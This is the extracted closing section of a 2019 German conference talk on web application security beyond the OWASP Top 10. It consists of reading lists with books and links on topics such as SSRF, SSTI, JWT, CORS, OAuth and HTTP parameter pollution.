[email protected]

DANKE FÜR IHRE AUFMERKSAMKEIT!

Page 69: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG69

Page 70: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

Weiterführende Quellen

Page 71: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

71 © 2019 Oneconsult AG

→ Yaworksi, Peter (2018): Web Hacking 101https://leanpub.com/web-hacking-101

→ Stuttard, Dafydd / Pinto, Marcus (2007): The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition

→ Schäfers, Tim Philipp (2018): Hacking im Web: Denken Sie wie ein Hacker und schließen Sie die Lücken in Ihren Webapplikationen, 2. Auflage

BÜCHER

WEITERFÜHRENDE QUELLEN

Page 72: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

72 © 2019 Oneconsult AG

→ OWASP Juice Shop (absichtlich verwundbare Applikation auf Basis von Node.js und Angular):https://www.owasp.org/index.php/OWASP_Juice_Shop_Project

→ OWASP Top 10 2017 auf Deutsch:https://www.owasp.org/index.php/Germany/Projekte/Top_10

→ OWASP Top 10 Rohdaten auf Github:https://github.com/OWASP/Top10

→ OWASP Top 10 für Entwickler:https://www.owasp.org/index.php/Category:OWASP_Top_10_fuer_Entwickler

OWASP I

WEITERFÜHRENDE QUELLEN

Page 73: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

73 © 2019 Oneconsult AG

→ OWASP ASVS (Application Security Verification Standard):https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project

→ OWASP Top 10 Proactive Controls for Developers:https://www.owasp.org/index.php/OWASP_Proactive_Controls

→ OWASP Testing Guide:https://www.owasp.org/index.php/OWASP_Testing_Project

→ OWASP Code Review Guide:https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project

OWASP II

WEITERFÜHRENDE QUELLEN

Page 74: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

74 © 2019 Oneconsult AG

→ Security Rule Zero: A Warning about X-Forwarded-For:https://www.f5.com/company/blog/security-rule-zero-a-warning-about-x-forwarded-for

→ Cracking the lens: targeting HTTP's hidden attack-surface:https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface

→ How I accidentally framed myself for a hacking frenzy:https://portswigger.net/blog/how-i-accidentally-framed-myself-for-a-hacking-frenzy

→ Practical Web Cache Poisoning:https://portswigger.net/blog/practical-web-cache-poisoning

X-FORWARDED-FOR / REQUEST HEADER

WEITERFÜHRENDE QUELLEN

Page 75: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

75 © 2019 Oneconsult AG

→ Payloads All The Things – Server Side Template Injection:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

→ Server-Side Template Injection:https://portswigger.net/blog/server-side-template-injection

→ Tplmap:https://github.com/epinna/tplmap

SERVER-SIDE TEMPLATE INJECTION

WEITERFÜHRENDE QUELLEN

Page 76: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

76 © 2019 Oneconsult AG

→ Payloads All The Things – Server Side Request Forgery:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery

→ SSRF bible:https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

→ SSRF (Server Side Request Forgery) testing resources:https://github.com/cujanovic/SSRF-Testing

→ PortSwigger Web Security Academy:https://portswigger.net/web-security/ssrf

SERVER-SIDE REQUEST FORGERY

WEITERFÜHRENDE QUELLEN

Page 77: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

77 © 2019 Oneconsult AG

→ Payloads All The Things – JSON Web Token:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token

→ The hard parts of JWT security nobody talks about:https://www.pingidentity.com/en/company/blog/posts/2019/jwt-security-nobody-talks-about.html

→ JSON Web Token Best Current Practices:https://tools.ietf.org/html/draft-ietf-oauth-jwt-bcp-06

JSON WEB TOKEN

WEITERFÜHRENDE QUELLEN

Page 78: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

78 © 2019 Oneconsult AG

→ Exploiting CORS misconfigurations for Bitcoins and bounties:https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

→ Authoritative guide to CORS (Cross-Origin Resource Sharing) for REST APIs:https://www.moesif.com/blog/technical/cors/Authoritative-Guide-to-CORS-Cross-Origin-Resource-Sharing-for-REST-APIs/

→ The Complete Guide to CORS (In)Security:https://www.bedefended.com/papers/cors-security-guide

→ CORScanner:https://github.com/chenjj/CORScanner

CROSS-ORIGIN RESOURCE SHARING

WEITERFÜHRENDE QUELLEN

Page 79: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

79 © 2019 Oneconsult AG

→ Testing for HTTP Parameter pollution (OTG-INPVAL-004):https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)

→ HTTP Parameter Pollution:https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

→ HTTP Parameter Pollution Vulnerabilities:https://www.ikkisoft.com/stuff/HPParticle.pdf

HTTP PARAMETER POLLUTION

WEITERFÜHRENDE QUELLEN

Page 80: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

80 © 2019 Oneconsult AG

→ Payloads All The Things – OAuth:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth

→ OAuth 2.0 Security Best Current Practice Overview:https://danielfett.de/2019/03/04/new-oauth-security-recommendations/

→ Damn Vulnerable OAuth 2.0 Application – Tester:https://github.com/koenbuyens/Damn-Vulnerable-OAuth-2.0-Applications/blob/master/authorizationcode_tester.md#checklist

→ Damn Vulnerable OAuth 2.0 Application – Developer:https://github.com/koenbuyens/Damn-Vulnerable-OAuth-2.0-Applications/blob/master/authorizationcode_developer.md

OAUTH

WEITERFÜHRENDE QUELLEN